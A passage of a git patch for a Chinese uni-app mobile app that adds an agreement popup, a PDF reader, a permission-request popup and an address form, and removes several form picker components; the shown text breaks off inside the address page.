From 48af561de06e15b57a79eecbde460e866f847e3d Mon Sep 17 00:00:00 2001
From: 叶富雄 <yefuxiong@yeah.net>
Date: Sat, 14 Mar 2026 02:26:17 +0800
Subject: [PATCH] UI
---
pages/addBank/addBank.vue | 415 +++++++++++
unpackage/res/icons/192x192.png | 0
unpackage/res/icons/152x152.png | 0
unpackage/res/icons/40x40.png | 0
unpackage/res/icons/1024x1024.png | 0
unpackage/res/icons/29x29.png | 0
unpackage/res/icons/58x58.png | 0
components/u-pdf/u-pdf.vue | 168 ++++
pages/agree/agree.vue | 22
unpackage/res/icons/167x167.png | 0
unpackage/res/icons/20x20.png | 0
unpackage/res/icons/144x144.png | 0
unpackage/res/icons/87x87.png | 0
pages/address/address.vue | 123 +++
components/yk-authpup/yk-authpup.vue | 331 ++++++++
pages/quanyi/add.vue | 761 ++++++++++----------
unpackage/res/icons/80x80.png | 0
components/picker/provincesCity.vue | 3
unpackage/res/icons/76x76.png | 0
unpackage/res/icons/120x120.png | 0
components/picker/index.vue | 3
pages/addAddr/addAddr.vue | 157 ++++
unpackage/res/icons/96x96.png | 0
components/agreePup/agreePup.vue | 180 ++++
/dev/null | 22
unpackage/res/icons/60x60.png | 0
unpackage/res/icons/180x180.png | 0
unpackage/res/icons/72x72.png | 0
28 files changed, 1,772 insertions(+), 413 deletions(-)
diff --git a/components/agreePup/agreePup.vue b/components/agreePup/agreePup.vue
new file mode 100644
index 0000000..5338a30
--- /dev/null
+++ b/components/agreePup/agreePup.vue
@@ -0,0 +1,180 @@
+<template>
+ <view>
+ <view class="agreePup" v-if="dialog">
+ <view class="msk"></view>
+ <view class="agreeMain">
+ <view class="pop-title" v-if="gp == 6" style="height: 15px !important;line-height: 15px !important">{{title}}</view>
+ <view class="pop-title" v-else>{{title}}</view>
+ <view class="popup-content">
+ <view class="content" v-html="content"></view>
+ <view class="popBtn" @tap="popClose">确定</view>
+ </view>
+ </view>
+ </view>
+ </view>
+</template>
+
+<script>
+ export default {
+ name: 'agree-pup',
+ props: {
+ gp: {
+ type: Number,
+ default: 0,
+ },
+ title: {
+ type: String,
+ default: '',
+ },
+ addrId : {
+ type: Number,
+ default: 0,
+ },
+ cartsIds: {
+ type: String,
+ default: '',
+ },
+ userid: {
+ type: Number,
+ default: 0,
+ },
+ yz: {
+ type: Number,
+ default: 0,
+ }
+ },
+ data() {
+ return {
+ userInfo: null,
+ dialog: false,
+ content: '',
+ }
+ },
+ watch: {
+ dialog () {
+ if(this.dialog) {
+ //this.$refs.popup.open()
+ }
+ }
+ },
+ created() {
+ this.userInfo = this.$util.getUserInfo()
+ this.getContent()
+ },
+ methods: {
+ popClose () {
+ this.dialog = false
+ },
+ getContent () {
+ let t = this
+ let param = {gp: this.gp}
+ if(t.gp == 6) {
+ param = {
+ sn: '',
+ gp: this.gp,
+ userid: this.userInfo.id,
+ cartsIds: this.cartsIds,
+ addrId: this.addrId,
+ yz: this.yz,
+ }
+ }
+ t.$util.post('Index/getAgree', param).then(res => {
+ if(res.code == 1){
+ this.content = res.data.replace(/\<p/gi, '<p style="width:100%;word-wrap: break-word;margin-bottom: 10px"')
+
+ let userInfo = null
+ let userStr = uni.getStorageSync('user-info') ? uni.getStorageSync('user-info') : null
+ if(userStr != null) {
+ userInfo = JSON.parse(userStr)
+ }
+
+ if(userInfo != null){
+ this.content = this.content.replace(/NAME/g, userInfo.realname)
+ this.content = this.content.replace(/IDCARD/g, userInfo.idcard)
+ this.content = this.content.replace(/PHONE/g, userInfo.phone)
+ }
+ const today = new Date();
+ const year = today.getFullYear();
+ const month = String(today.getMonth() + 1).padStart(2, '0'); // 月份是从0开始的,所以要加1,并且需要补零
+ const day = String(today.getDate()).padStart(2, '0');
+
+ this.content = this.content.replace(/YYYY/g, year)
+ this.content = this.content.replace(/MM/g, month)
+ this.content = this.content.replace(/DD/g, day)
+ }
+ })
+ }
+ }
+ }
+</script>
+<style lang="scss">
+ .agreePup{
+ width: 100%;
+ left: 0;
+ top: 0;
+ z-index: 999999;
+ height: 100%;
+ position: fixed;
+ }
+ .agreePup .msk{
+ width: 100%;
+ height: 100%;
+ z-index: 99;
+ background-color: #000000;
+ position: absolute;
+ left: 0;
+ top: 0;
+ opacity: .5;
+ }
+ .agreeMain{
+ width: 90%;
+ position: absolute;
+ left: 5%;
+ top: 10%;
+ background: #ffffff;
+ border-radius: 10upx;
+ height: 70%;
+ z-index: 999999;
+ }
+ .pop-title{
+ width: 100%;
+ height: 90upx;
+ border-bottom: 1px solid #eeeeee;
+ text-align: center;
+ line-height: 90upx;
+ font-size: 28upx;
+ font-weight: 700;
+ }
+ .popup-content{
+ width: 100%;
+ margin: 0%;
+ border-radius: 10upx;
+ padding-bottom: 20upx;
+ overflow-y: auto;
+ height: 90%;
+ }
+ .content{
+ padding: 30upx;
+ height: 80%;
+ word-wrap: break-word;
+ overflow-y: auto;
+ overflow-x: hidden;
+ }
+ p{
+ width: 100%;
+ padding: 0;
+ margin-block-start: 0em;
+ margin-block-end: 0em;
+ word-wrap: break-word;
+ line-height: 40px;
+ }
+ .popBtn{
+ width: 200upx;
+ height: 76upx;
+ margin: 30upx auto 0;
+ text-align: center;
+ line-height: 76upx;
+ border-radius: 20upx;
+ border: 1px solid #dddddd;
+ }
+</style>
\ No newline at end of file
diff --git a/components/picker/aliCredit.vue b/components/picker/aliCredit.vue
deleted file mode 100644
index 86316f0..0000000
--- a/components/picker/aliCredit.vue
+++ /dev/null
@@ -1,33 +0,0 @@
-
-
-<template>
- <view>
- <uv-picker :immediateChange="false" visibleItemCount="5" round="16" :defaultIndex="defaultIndex" ref="aliCreditPicker" keyName="text" :loading="loading" :columns="addressList" @confirm="confirm"></uv-picker>
- </view>
-</template>
-<script>
-import {ALI_CREDITS} from '@/common/constant'
-export default {
- data() {
- return {
- loading: false,
- addressList: [ALI_CREDITS],
- defaultIndex:[0]
-
- }
- },
- methods: {
-
- open() {
- this.$refs.aliCreditPicker.open();
-
- },
- confirm(e) {
- this.$emit('confirm',e)
- }
- },
-}
-</script>
-<style scoped lang="scss">
-
-</style>
\ No newline at end of file
diff --git a/components/picker/areas.vue b/components/picker/areas.vue
deleted file mode 100644
index b15f973..0000000
--- a/components/picker/areas.vue
+++ /dev/null
@@ -1,68 +0,0 @@
-<template>
- <view>
- <uv-picker :immediateChange="false" visibleItemCount="5" round="16" ref="areasDome" keyName="name" :loading="loading" :columns="addressList" @confirm="confirm"></uv-picker>
- </view>
-</template>
-
-<script>
-import { getAreaList } from "@/api/modules/user";
-
-export default {
- props: {
- cityCode: {
- type: String,
- default: ''
- }
- },
-
- data() {
- return {
- loading: true,
- addressList: [],
- codes: '',
- cachedCityCode: '' // 用于缓存 cityCode 或 codes
- };
- },
- created() {
- this.cachedCityCode = this.cityCode || this.codes;
- this.getAreaList();
- },
- watch: {
- cityCode(newVal) {
- if (newVal !== this.cachedCityCode) {
- this.cachedCityCode = newVal;
- this.getAreaList();
- }
- }
- },
- methods: {
- setCityCode(codes) {
- if (codes !== this.cachedCityCode) {
- this.cachedCityCode = codes;
- this.getAreaList();
- }
- },
- open() {
- this.$refs.areasDome.open();
- },
- getAreaList() {
- this.loading = true;
- getAreaList({ cityCode: this.cachedCityCode })
- .then(res => {
- if (Array.isArray(res) && res.length > 0) {
- this.addressList = [[...res]]
- } else {
- this.addressList = [];
- }
- this.loading = false;
- })
- .catch(error => {
- this.loading = false;
- });
- },
- confirm(e) {
- this.$emit('confirm', e);
- }
- }
-};
-</script>
diff --git a/components/picker/companyNature.vue b/components/picker/companyNature.vue
deleted file mode 100644
index 425f6ea..0000000
--- a/components/picker/companyNature.vue
+++ /dev/null
@@ -1,40 +0,0 @@
-
-
-<template>
- <view>
- <uv-picker :immediateChange="false" visibleItemCount="5" round="16" :defaultIndex="defaultIndex" ref="companyNaturePicker" keyName="text" :loading="loading" :columns="addressList" @confirm="confirm"></uv-picker>
- </view>
-</template>
-<script>
-import {getEnumParams} from "@/api/modules/user";
-export default {
- data() {
- return {
- loading: false,
- addressList: [],
- defaultIndex:[0]
-
- }
- },
- created() {
- getEnumParams({
- code: 'COMPANY_NATURE_ENUM',
- }).then(res=>{
- this.addressList = [[...res]]
- })
- },
- methods: {
-
- open() {
- this.$refs.companyNaturePicker.open();
-
- },
- confirm(e) {
- this.$emit('confirm',e)
- }
- },
-}
-</script>
-<style scoped lang="scss">
-
-</style>
\ No newline at end of file
diff --git a/components/picker/companyTrade.vue b/components/picker/companyTrade.vue
deleted file mode 100644
index 5fb8465..0000000
--- a/components/picker/companyTrade.vue
+++ /dev/null
@@ -1,40 +0,0 @@
-
-
-<template>
- <view>
- <uv-picker :immediateChange="false" visibleItemCount="5" round="16" :defaultIndex="defaultIndex" ref="companyTradePicker" keyName="text" :loading="loading" :columns="addressList" @confirm="confirm"></uv-picker>
- </view>
-</template>
-<script>
-import {getEnumParams} from "@/api/modules/user";
-export default {
- data() {
- return {
- loading: false,
- addressList: [],
- defaultIndex:[0]
-
- }
- },
- created() {
- getEnumParams({
- code: 'COMPANY_TRADE_ENUM',
- }).then(res=>{
- this.addressList = [[...res]]
- })
- },
- methods: {
-
- open() {
- this.$refs.companyTradePicker.open();
-
- },
- confirm(e) {
- this.$emit('confirm',e)
- }
- },
-}
-</script>
-<style scoped lang="scss">
-
-</style>
\ No newline at end of file
diff --git a/components/picker/education.vue b/components/picker/education.vue
deleted file mode 100644
index 0630be3..0000000
--- a/components/picker/education.vue
+++ /dev/null
@@ -1,41 +0,0 @@
-
-
-<template>
- <view>
- <uv-picker :immediateChange="false" visibleItemCount="5" round="16" :defaultIndex="defaultIndex" ref="educationPicker" keyName="text" :loading="loading" :columns="addressList" @confirm="confirm"></uv-picker>
- </view>
-</template>
-<script>
-import {getEnumParams} from "@/api/modules/user";
-export default {
- name: "aliCredit",
- data() {
- return {
- loading: false,
- addressList: [],
- defaultIndex:[0]
-
- }
- },
- created() {
- getEnumParams({
- code: 'EDUCATION_ENUM',
- }).then(res=>{
- this.addressList = [[...res]]
- })
- },
- methods: {
-
- open() {
- this.$refs.educationPicker.open();
-
- },
- confirm(e) {
- this.$emit('confirm',e)
- }
- },
-}
-</script>
-<style scoped lang="scss">
-
-</style>
\ No newline at end of file
diff --git a/components/picker/index.vue b/components/picker/index.vue
index ad3dac3..d99d906 100644
--- a/components/picker/index.vue
+++ b/components/picker/index.vue
@@ -4,9 +4,10 @@
</view>
</template>
<script>
-import {getCityList} from "@/api/modules/user";
+import UvPicker from "@/uni_modules/uv-picker/components/uv-picker/uv-picker.vue";
export default {
+ components: {UvPicker},
data() {
return {
loading: true,
diff --git a/components/picker/loanUsage.vue b/components/picker/loanUsage.vue
deleted file mode 100644
index a649ed7..0000000
--- a/components/picker/loanUsage.vue
+++ /dev/null
@@ -1,33 +0,0 @@
-
-
-<template>
- <view>
- <uv-picker :immediateChange="false" visibleItemCount="5" round="16" :defaultIndex="defaultIndex" ref="loanUsagePicker" keyName="text" :loading="loading" :columns="addressList" @confirm="confirm"></uv-picker>
- </view>
-</template>
-<script>
-import {YX_LOAN_USAGE} from '@/common/constant'
-export default {
- data() {
- return {
- loading: false,
- addressList: [YX_LOAN_USAGE],
- defaultIndex:[0]
-
- }
- },
- methods: {
-
- open() {
- this.$refs.loanUsagePicker.open();
-
- },
- confirm(e) {
- this.$emit('confirm',e)
- }
- },
-}
-</script>
-<style scoped lang="scss">
-
-</style>
\ No newline at end of file
diff --git a/components/picker/maritalStatus.vue b/components/picker/maritalStatus.vue
deleted file mode 100644
index a4b7023..0000000
--- a/components/picker/maritalStatus.vue
+++ /dev/null
@@ -1,36 +0,0 @@
-
-
-<template>
- <view>
- <uv-picker :immediateChange="false" visibleItemCount="5" round="16" :defaultIndex="defaultIndex" ref="maritalStatusPicker" keyName="text" :loading="loading" :columns="addressList" @confirm="confirm"></uv-picker>
- </view>
-</template>
-<script>
-import {AFREE_STATUS} from '@/common/constant'
-export default {
- data() {
- return {
- loading: false,
- addressList: [AFREE_STATUS],
- defaultIndex:[0]
-
- }
- },
- created() {
-
- },
- methods: {
-
- open() {
- this.$refs.maritalStatusPicker.open();
-
- },
- confirm(e) {
- this.$emit('confirm',e)
- }
- },
-}
-</script>
-<style scoped lang="scss">
-
-</style>
\ No newline at end of file
diff --git a/components/picker/monthlyIncome.vue b/components/picker/monthlyIncome.vue
deleted file mode 100644
index 8c806ce..0000000
--- a/components/picker/monthlyIncome.vue
+++ /dev/null
@@ -1,33 +0,0 @@
-
-
-<template>
- <view>
- <uv-picker :immediateChange="false" visibleItemCount="5" round="16" :defaultIndex="defaultIndex" ref="monthlyIncomePicker" keyName="text" :loading="loading" :columns="addressList" @confirm="confirm"></uv-picker>
- </view>
-</template>
-<script>
-import {MONTHLY_INCOME} from '@/common/constant'
-export default {
- data() {
- return {
- loading: false,
- addressList: [MONTHLY_INCOME],
- defaultIndex:[0]
-
- }
- },
- methods: {
-
- open() {
- this.$refs.monthlyIncomePicker.open();
-
- },
- confirm(e) {
- this.$emit('confirm',e)
- }
- },
-}
-</script>
-<style scoped lang="scss">
-
-</style>
\ No newline at end of file
diff --git a/components/picker/professionInfo.vue b/components/picker/professionInfo.vue
deleted file mode 100644
index 9ea22da..0000000
--- a/components/picker/professionInfo.vue
+++ /dev/null
@@ -1,33 +0,0 @@
-
-
-<template>
- <view>
- <uv-picker :immediateChange="false" visibleItemCount="5" round="16" :defaultIndex="defaultIndex" ref="professionInfoPicker" keyName="text" :loading="loading" :columns="addressList" @confirm="confirm"></uv-picker>
- </view>
-</template>
-<script>
-import {PROFESSION_TYPE} from '@/common/constant'
-export default {
- data() {
- return {
- loading: false,
- addressList: [PROFESSION_TYPE],
- defaultIndex:[0]
-
- }
- },
- methods: {
-
- open() {
- this.$refs.professionInfoPicker.open();
-
- },
- confirm(e) {
- this.$emit('confirm',e)
- }
- },
-}
-</script>
-<style scoped lang="scss">
-
-</style>
\ No newline at end of file
diff --git a/components/picker/provincesCity.vue b/components/picker/provincesCity.vue
index 7537f26..0e5a706 100644
--- a/components/picker/provincesCity.vue
+++ b/components/picker/provincesCity.vue
@@ -5,7 +5,10 @@
</template>
<script>
+import UvPicker from "@/uni_modules/uv-picker/components/uv-picker/uv-picker.vue";
+
export default {
+ components: {UvPicker},
data() {
return {
loading: false,
diff --git a/components/picker/relation.vue b/components/picker/relation.vue
deleted file mode 100644
index f29a102..0000000
--- a/components/picker/relation.vue
+++ /dev/null
@@ -1,40 +0,0 @@
-
-
-<template>
- <view>
- <uv-picker :immediateChange="false" visibleItemCount="5" round="16" :defaultIndex="defaultIndex" ref="educationPicker" keyName="text" :loading="loading" :columns="addressList" @confirm="confirm"></uv-picker>
- </view>
-</template>
-<script>
-import {getEnumParams} from "@/api/modules/user";
-export default {
- data() {
- return {
- loading: false,
- addressList: [],
- defaultIndex:[0]
-
- }
- },
- created() {
- getEnumParams({
- code: 'HOME_RELATION_ENUM',
- }).then(res=>{
- this.addressList = [[...res]]
- })
- },
- methods: {
-
- open() {
- this.$refs.educationPicker.open();
-
- },
- confirm(e) {
- this.$emit('confirm',e)
- }
- },
-}
-</script>
-<style scoped lang="scss">
-
-</style>
\ No newline at end of file
diff --git a/components/picker/repayTerm.vue b/components/picker/repayTerm.vue
deleted file mode 100644
index a28648e..0000000
--- a/components/picker/repayTerm.vue
+++ /dev/null
@@ -1,33 +0,0 @@
-
-
-<template>
- <view>
- <uv-picker :immediateChange="false" visibleItemCount="5" round="16" :defaultIndex="defaultIndex" ref="repayTermPicker" keyName="text" :loading="loading" :columns="addressList" @confirm="confirm"></uv-picker>
- </view>
-</template>
-<script>
-import {PAY_MONTHS} from '@/common/constant'
-export default {
- data() {
- return {
- loading: false,
- addressList: [PAY_MONTHS],
- defaultIndex:[0]
-
- }
- },
- methods: {
-
- open() {
- this.$refs.repayTermPicker.open();
-
- },
- confirm(e) {
- this.$emit('confirm',e)
- }
- },
-}
-</script>
-<style scoped lang="scss">
-
-</style>
\ No newline at end of file
diff --git a/components/u-pdf/u-pdf.vue b/components/u-pdf/u-pdf.vue
new file mode 100644
index 0000000..deb56af
--- /dev/null
+++ b/components/u-pdf/u-pdf.vue
@@ -0,0 +1,168 @@
+<template>
+ <view class="pdf-page">
+ <view class="pdf-wrap" :style="{'height':viewHeight}">
+ <view ref="pdfRef" id="pdfView"></view>
+ </view>
+ <view v-if="showBottom" class="pdf-btn-group">
+ <slot>
+ <button class="btn-readed" size="mini" @click="handleComplete"
+ :disabled="btnDisabled">{{showTimer ? countTimer<=1 ? '':'('+countTimer+'s)':''}}我已阅读</button>
+ </slot>
+ </view>
+ </view>
+</template>
+
+<script>
+ import Pdfh5 from "pdfh5";
+ import "pdfh5/css/pdfh5.css";
+ export default {
+ name: "u-pdf",
+ props: {
+ url: {
+ type: String,
+ require: true
+ },
+ viewHeight: {
+ type: String,
+ default: "100%"
+ },
+ showBottom: {
+ type: Boolean,
+ default: true
+ },
+ options: {
+ type: Object,
+ default: () => ({
+ cMapUrl: "https://unpkg.com/pdfjs-dist@3.8.162/cmaps/",
+ lazy: false,
+ withCredentials: true,
+ // pdfLoaded:false,
+ renderType: "svg",
+ maxZoom: 3, //手势缩放最大倍数 默认3
+ scrollEnable: true, //是否允许pdf滚动
+ zoomEnable: true //是否允许pdf手势缩放
+ })
+ },
+ disabled:{
+ type:Boolean,
+ default:true
+ },
+ showTimer:Boolean
+ },
+ data() {
+ return {
+ totalNum: 0,
+ pdfh5: undefined,
+ countTimer:10,
+ timer:undefined,
+ btnDisabled:true
+ }
+ },
+
+ watch:{
+ disabled(n,o){
+ this.btnDisabled = this.disabled
+ },
+ showTimer(n,o){
+ console.log("showTimer ",n);
+ if(this.showTimer){
+ this.startCountDownTimer()
+ }
+ }
+ },
+
+ mounted() {
+ this.$nextTick(() => {
+ this.loadPdf()
+ })
+ },
+
+ // onPageScroll(scroll) {
+ // console.log(`onPageScroll ${scroll}`,scroll);
+ // },
+
+ // onReachBottom(scroll) {
+ // console.log(`onReachBottom 滚动到底部`);
+ // },
+
+ methods: {
+ handleComplete(){
+ this.$emit("onClickReader")
+ },
+
+ startCountDownTimer(){
+ this.timer= setInterval(()=>{
+ if(this.countTimer<=1){
+ this.btnDisabled=false
+ clearInterval(this.timer)
+ }else{
+ this.countTimer--
+ }
+ },1000)
+ },
+
+ loadPdf() {
+ if (!this.url) {
+ console.error("pdf url is null ");
+ return;
+ }
+ const opts = {
+ pdfurl: this.url,
+ ...this.options
+ }
+ console.log(opts);
+ this.pdfh5 = new Pdfh5('#pdfView', opts);
+ // 准备加载pdf
+ this.pdfh5.on("ready", () => {
+ this.$emit("ready")
+ })
+ //pdf 监听完成事件
+ this.pdfh5.on("complete", (status, msg, time) => {
+ console.log(`PDF complete status=${status}, msg =${msg}`);
+ this.$emit("complete", { status, msg })
+ });
+ // pdf 滚动事件 Svg 方式不会执行此方法, 需要在page中监听 onReachBottom,onPageScroll
+ this.pdfh5.on("scroll", (scrollTop, currentNum) => {
+ console.log(`pdf scrollTop =${scrollTop} , currentNum =${currentNum}`);
+ this.$emit("scroll", { scrollTop, currentNum })
+ });
+ }
+ }
+ }
+</script>
+
+<style scoped>
+ @import 'pdfh5/css/pdfh5.css';
+
+ .pdf-page {
+ width: 100%;
+ height: 100%;
+ display: flex;
+ flex-direction: column;
+ align-items: center;
+ }
+
+ .pdf-wrap {
+ width: 100%;
+ flex: 1;
+ }
+
+ .pdf-btn-group {
+ width: 100%;
+ border-top: 2rpx solid #F8F9FC;
+ height: 8%;
+ position: fixed;
+ bottom: -1rpx;
+ z-index: 999;
+ background: white;
+ display: flex;
+ align-items: center;
+ justify-content: center;
+ }
+
+ .btn-readed {
+ background: #4E70F6;
+ color: #ffffff;
+ font-size: 32rpx;
+ }
+</style>
\ No newline at end of file
diff --git a/components/yk-authpup/yk-authpup.vue b/components/yk-authpup/yk-authpup.vue
new file mode 100644
index 0000000..2711322
--- /dev/null
+++ b/components/yk-authpup/yk-authpup.vue
@@ -0,0 +1,331 @@
+<template>
+ <view v-if="showPopup" class="uni-popup" :style="{top:isNativeHead?'':StatusBar}">
+ <view :class="[type, ani, animation ? 'ani' : '']" class="uni-custom uni-popup__wrapper" @click="close(true)">
+ <view class="uni-popup__wrapper-box">
+ <view class="title">{{authList[permissionID].title}}</view>
+ <view class="content">{{authList[permissionID].content}}</view>
+ </view>
+ </view>
+ </view>
+</template>
+
+<script>
+ export default {
+ name: 'YkAuthpup',
+ props: {
+ // 开启动画
+ animation: {
+ type: Boolean,
+ default: true
+ },
+ type: {
+ type: String,
+ default: 'top'
+ },
+ show: {
+ type: Boolean,
+ default: true
+ },
+ //是否是原生头部
+ isNativeHead:{
+ type: Boolean,
+ default: true
+ },
+ permissionID: {
+ type: [String, Number],
+ default: ''
+ },
+ noticeTitle:{
+ type: [String],
+ default: ''
+ }
+ },
+ data() {
+ return {
+ ani: '',
+ showPopup: false,
+ StatusBar:'',
+ refuseNum:'',//拒绝次数,
+ authList: {
+ 'WRITE_EXTERNAL_STORAGE': {
+ title: "存储空间/照片权限申请说明",
+ content: this.noticeTitle
+ },
+ 'ACCESS_FINE_LOCATION': {
+ title: "地理位置权限申请说明",
+ content: this.noticeTitle
+ },
+ 'CAMERA':{
+ title: "相机/摄像头权限申请说明",
+ content:this.noticeTitle
+ },
+ 'RECORD_AUDIO':{
+ title: "麦克风权限申请说明",
+ content: this.noticeTitle
+ },
+ 'CALL_PHONE': {
+ title: "拨打/管理电话权限申请说明",
+ content: this.noticeTitle
+ }
+ }
+ }
+ },
+ created() {
+ // #ifdef APP-PLUS
+ this.getSystemInfo();
+ // #endif
+ },
+ methods: {
+ //获取状态栏高度
+ getSystemInfo() {
+ let _this = this;
+ uni.getSystemInfo({
+ success: function(e) {
+ _this.StatusBar = e.statusBarHeight + 'px'; //用于自定义头部时,给手机状态栏留出位置,可通过isNativeHead这个参数控制
+ }
+ })
+ },
+ open() {
+ this.requestPermissions(this.permissionID);
+ },
+ close(type) {
+ this.ani = '';
+ this.$nextTick(() => {
+ setTimeout(() => {
+ this.showPopup = false;
+ }, 300)
+ })
+ },
+ //权限检测
+ requestPermissions(permissionID) {
+ let _this = this;
+ // #ifdef APP-PLUS
+ //判断安卓与ios设备
+ if (plus.os.name == 'Android') {
+ let _permissionID = 'android.permission.' + permissionID;
+ plus.android.checkPermission(_permissionID,
+ granted => {
+ if (granted.checkResult == -1) {
+ //还未授权当前查询的权限,打开权限申请目的自定义弹框
+ _this.showPopup = true;
+ _this.$nextTick(() => {
+ setTimeout(() => {
+ _this.ani = 'uni-' + _this.type
+ },30)
+ })
+ }
+ },
+ error => {
+ console.log(error.message);
+ }
+ );
+ plus.android.requestPermissions([_permissionID],
+ (e) => {
+ //关闭权限申请目的自定义弹框
+ _this.ani = '';
+ _this.$nextTick(() => {
+ setTimeout(() => {
+ _this.showPopup = false
+ }, 0)
+ })
+ //console.log(e,'kkkkk')
+ if (e.granted.length > 0) {
+ //当前查询权限已授权,此时可以通知页面执行接下来的操作
+ _this.$emit('changeAuth');
+ }
+ if (e.deniedAlways.length > 0) {
+ //当前查询权限已被永久禁用,此时需要引导用户跳转手机系统设置去开启
+ uni.showModal({
+ title: '温馨提示',
+ content: '还没有该权限,立即去设置开启?',
+ cancelText: "取消",
+ confirmText: "去设置",
+ showCancel: true,
+ confirmColor: '#000',
+ cancelColor: '#666',
+ success: (res) => {
+ if (res.confirm) {
+ _this.goSetting();
+ }
+ }
+ })
+ }
+ })
+ } else {
+ //IOS不需要添加自定义弹框来描述权限目的,因为在配置文件的隐私信息访问的许可描述里可添加
+ //正常可以直接调用uni的API调起权限询问弹框使用各种权限,下面的判断使用场景主要是在IOS禁用某权限后,这个可以判断有无权限,进而引导用户跳转设置开启,仅列出了位置、相册、通讯录、相机、录音等权限,其他IOS权限可具体参考 https://ext.dcloud.net.cn/plugin?id=15787
+ let result = 0;
+ if (permissionID == 'ACCESS_FINE_LOCATION') {
+ //IOS检测位置权限
+ let cLLocationManager = plus.ios.importClass("CLLocationManager"),
+ authStatus = cLLocationManager.authorizationStatus(),
+ enable = cLLocationManager.locationServicesEnabled();
+ if (enable && authStatus != 2) {
+ result = 1;
+ } else {
+ result = 0;
+ }
+ plus.ios.deleteObject(cLLocationManager);
+ } else if (permissionID == 'WRITE_EXTERNAL_STORAGE') {
+ //IOS检测相册权限
+ let PHPhotoLibrary = plus.ios.importClass("PHPhotoLibrary"),
+ authStatus = PHPhotoLibrary.authorizationStatus();
+ if (authStatus === 3) {
+ result = 1;
+ } else {
+ result = 0;
+ }
+ plus.ios.deleteObject(PHPhotoLibrary);
+ } else if (permissionID == 'CAMERA') {
+ //IOS检测相机/摄像头权限
+ let avCaptureDevice = plus.ios.importClass("AVCaptureDevice"),
+ authStatus = avCaptureDevice.authorizationStatusForMediaType("vide");
+ if (authStatus === 3) {
+ result = 1;
+ } else {
+ result = 0;
+ }
+ plus.ios.deleteObject(avCaptureDevice);
+ } else if (permissionID == 'CALL_PHONE') {
+ //IOS检测通讯录权限
+ let contactStore = plus.ios.importClass("CNContactStore"),
+ authStatus = contactStore.authorizationStatusForEntityType(0);
+ if (authStatus === 3) {
+ result = 1;
+ } else {
+ result = 0;
+ }
+ plus.ios.deleteObject(contactStore);
+ }else if(permissionID == 'RECORD_AUDIO'){
+ //IOS检测麦克风权限
+ let aVAudioSession = plus.ios.importClass("AVAudioSession"),
+ aVAudio = aVAudioSession.sharedInstance(),
+ authStatus = aVAudio.recordPermission();
+ if ([1684369017, 1970168948].includes(authStatus)) {
+ result = 0;
+ } else {
+ result = 1;
+ }
+ plus.ios.deleteObject(aVAudioSession);
+ }
+ if (result) {
+ //当前查询权限已授权,此时可以通知页面执行接下来的操作
+ that.$emit('changeAuth')
+ } else {
+ //当前查询的权限已禁用,引导用户跳转手机系统设置去开启
+ uni.showModal({
+ title: '温馨提示',
+ content: '还没有该权限,立即去设置开启?',
+ cancelText: "取消",
+ confirmText: "去设置",
+ showCancel: true,
+ confirmColor: '#000',
+ cancelColor: '#666',
+ success: (res) => {
+ if (res.confirm) {
+ _this.goSetting();
+ }
+ }
+ })
+ }
+ }
+ // #endif
+ },
+ //跳转手机系统设置
+ goSetting() {
+ if (plus.os.name == "iOS") {
+ var UIApplication = plus.ios.import("UIApplication");
+ var application2 = UIApplication.sharedApplication();
+ var NSURL2 = plus.ios.import("NSURL");
+ var setting2 = NSURL2.URLWithString("app-settings:");
+ application2.openURL(setting2);
+ plus.ios.deleteObject(setting2);
+ plus.ios.deleteObject(NSURL2);
+ plus.ios.deleteObject(application2);
+ } else {
+ var Intent = plus.android.importClass("android.content.Intent");
+ var Settings = plus.android.importClass("android.provider.Settings");
+ var Uri = plus.android.importClass("android.net.Uri");
+ var mainActivity = plus.android.runtimeMainActivity();
+ var intent = new Intent();
+ intent.setAction(Settings.ACTION_APPLICATION_DETAILS_SETTINGS);
+ var uri = Uri.fromParts("package", mainActivity.getPackageName(), null);
+ intent.setData(uri);
+ mainActivity.startActivity(intent);
+ }
+ }
+ }
+ }
+</script>
+<style lang="scss">
+ .uni-popup {
+ position: fixed;
+ top: 0;
+ bottom: 0;
+ left: 0;
+ right: 0;
+ z-index: 99999;
+ overflow: hidden;
+ &__wrapper {
+ position: absolute;
+ z-index: 9999999;
+ /* #ifndef APP-NVUE */
+ box-sizing: border-box;
+ /* #endif */
+ &.ani {
+ /* #ifndef APP-NVUE */
+ transition: all 0.3s;
+ /* #endif */
+ }
+ &.top {
+ top: 0;
+ width:705rpx;
+ /* #ifdef APP-NVUE */
+ left:22.5rpx;
+ /* #endif */
+ /* #ifndef APP-NVUE */
+ left:0;
+ transform: translateY(-705rpx);
+ /* #endif */
+ }
+ &-box {
+ position: relative;
+ /* #ifndef APP-NVUE */
+ box-sizing: border-box;
+ /* #endif */
+ }
+ &.uni-custom {
+ & .uni-popup__wrapper-box {
+ width: 705rpx;
+ /* #ifndef APP-NVUE */
+ margin: 0 22.5rpx;
+ /* #endif */
+ padding: 30upx;
+ background: #fff;
+ z-index:9999;
+ border: solid 2rpx #ddd;
+ /* #ifndef APP-NVUE */
+ box-sizing: border-box;
+ /* #endif */
+ border-radius: 16rpx;
+ .title{
+ font-size: 32rpx;
+ font-weight: bold;
+ }
+ .content{
+ margin-top: 16rpx;
+ line-height: 1.6;
+ }
+ }
+ &.top{
+ & .uni-popup__wrapper-box {
+ width: 705rpx;
+ }
+ }
+ }
+ &.uni-top{
+ transform: translateY(0);
+ }
+ }
+ }
+</style>
\ No newline at end of file
diff --git a/pages/addAddr/addAddr.vue b/pages/addAddr/addAddr.vue
new file mode 100644
index 0000000..6ea1f7a
--- /dev/null
+++ b/pages/addAddr/addAddr.vue
@@ -0,0 +1,157 @@
+<template>
+ <view>
+ <view class="addr">
+ <view class="addrItem">
+ <text class="label">姓名</text>
+ <input type="text" v-model="formData.realname" placeholder="请输入姓名">
+ </view>
+ <view class="addrItem">
+ <text class="label">手机号</text>
+ <input type="tel" maxlength="11" v-model="formData.phone" placeholder="请输入手机号">
+ </view>
+ <view class="addrItem">
+ <text class="label">地区</text>
+ <text :class="defArea == '请选择地区' ? 'area' : ''" @tap="areaToggle">{{defArea}}</text>
+ <image @click="getArea" src="/static/imgs/address.png"></image>
+ </view>
+ <view class="addrItem">
+ <text class="label">详细地址</text>
+ <textarea v-model="formData.addr" placeholder="街道门牌号,楼层,房间号等信息" />
+ </view>
+ <view class="addrItem">
+ <text class="label">设置默认地址</text>
+ <switch @change="defChange" v-if="formData.isdef == 0" color="#e3b400" style="transform:scale(0.7)"/>
+ <switch @change="defChange" v-else checked color="#e3b400" style="transform:scale(0.7)"/>
+ </view>
+ </view>
+ <view class="addrBtn" @tap="addrSave">保存</view>
+ <view class="tips">
